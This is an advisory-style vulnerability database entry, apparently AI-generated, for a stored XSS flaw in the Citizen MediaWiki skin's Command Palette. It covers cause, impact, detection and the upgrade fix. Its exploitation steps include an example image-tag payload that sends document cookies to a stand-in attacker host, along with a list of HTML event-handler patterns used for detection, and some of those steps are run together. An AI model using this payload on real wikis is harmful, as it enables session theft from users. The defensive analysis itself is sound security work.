
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-49575 is a stored Cross-Site Scripting (XSS) vulnerability in the Citizen skin for MediaWiki, titled "Stored XSS in Command Palette tip messages." Multiple system messages rendered in the CommandPaletteFooter component are inserted into the DOM as raw HTML without sanitization, allowing any user with the editinterface permission (but not necessarily editsitejs) to inject arbitrary HTML. The vulnerability affects Citizen skin versions >= 2.4.2 and < 3.3.1 (Composer package starcitizentools/citizen-skin). It was published on June 11, 2025, and assigned a CVSS v3.1 score of 6.5 (Moderate) by the GitHub Advisory Database (Github Advisory, Security Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-80 (Improper Neutralization of Script-Related HTML Tags). In CommandPaletteFooter.vue, four system messages (citizen-command-palette-tip-commands, citizen-command-palette-tip-users, citizen-command-palette-tip-namespace, citizen-command-palette-tip-templates) were retrieved using mw.message(...).plain() — which returns raw text without HTML escaping — and then rendered via Vue's v-html directive, directly injecting the content into the DOM as raw HTML. An attacker with editinterface rights can edit these MediaWiki system messages to embed malicious HTML payloads; when any user opens the Command Palette, the injected HTML executes in their browser context. Note that <script> tags are ineffective due to how the HTML is inserted, but other HTML-based XSS vectors (e.g., event handlers like onerror, onload) remain viable (Security Advisory, Fix Commit).
Successful exploitation allows an attacker to execute arbitrary scripts in the browsers of wiki users who open the Command Palette, potentially leading to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, or wiki defacement. The vulnerability specifically impacts wikis where a user group holds editinterface but not editsitejs rights — a permission boundary that is commonly misconfigured. Confidentiality and integrity of user sessions and wiki content are at risk, though availability is not directly affected (Security Advisory, Github Advisory).
A proof-of-concept is publicly documented in the GitHub security advisory, demonstrating that editing the affected system messages and opening the Command Palette triggers the injected HTML. The EPSS score is approximately 0.028–0.156%, indicating a low but non-negligible probability of exploitation in the wild. There is no evidence of active in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not listed in the CISA KEV catalog (Github Advisory, Security Advisory).
editinterface but not editsitejs rights.editinterface access: Log in as or compromise a user account that has the editinterface permission on the target wiki.MediaWiki:citizen-command-palette-tip-commands, MediaWiki:citizen-command-palette-tip-users, MediaWiki:citizen-command-palette-tip-namespace, or MediaWiki:citizen-command-palette-tip-templates.<script> tags (e.g., <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>) into the message content and save.v-html in CommandPaletteFooter.vue, executing the payload in the victim's browser context.MediaWiki:citizen-command-palette-tip-commands, citizen-command-palette-tip-users, citizen-command-palette-tip-namespace, or citizen-command-palette-tip-templates by non-administrative accounts.onerror, onload, <img, <iframe, <svg) stored in the wiki's system message pages for the above message keys.Upgrade the Citizen MediaWiki skin to version 3.3.1 or later, which fixes the vulnerability by replacing .plain() with .parse() for system message retrieval and removing v-html usage for untrusted content (Fix Commit). As an interim workaround, restrict the editinterface user right to only fully trusted users, or ensure that any group with editinterface also requires editsitejs to limit the attack surface. Additionally, deploying a Content Security Policy (CSP) header can reduce the impact of any XSS payloads that do execute (Github Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."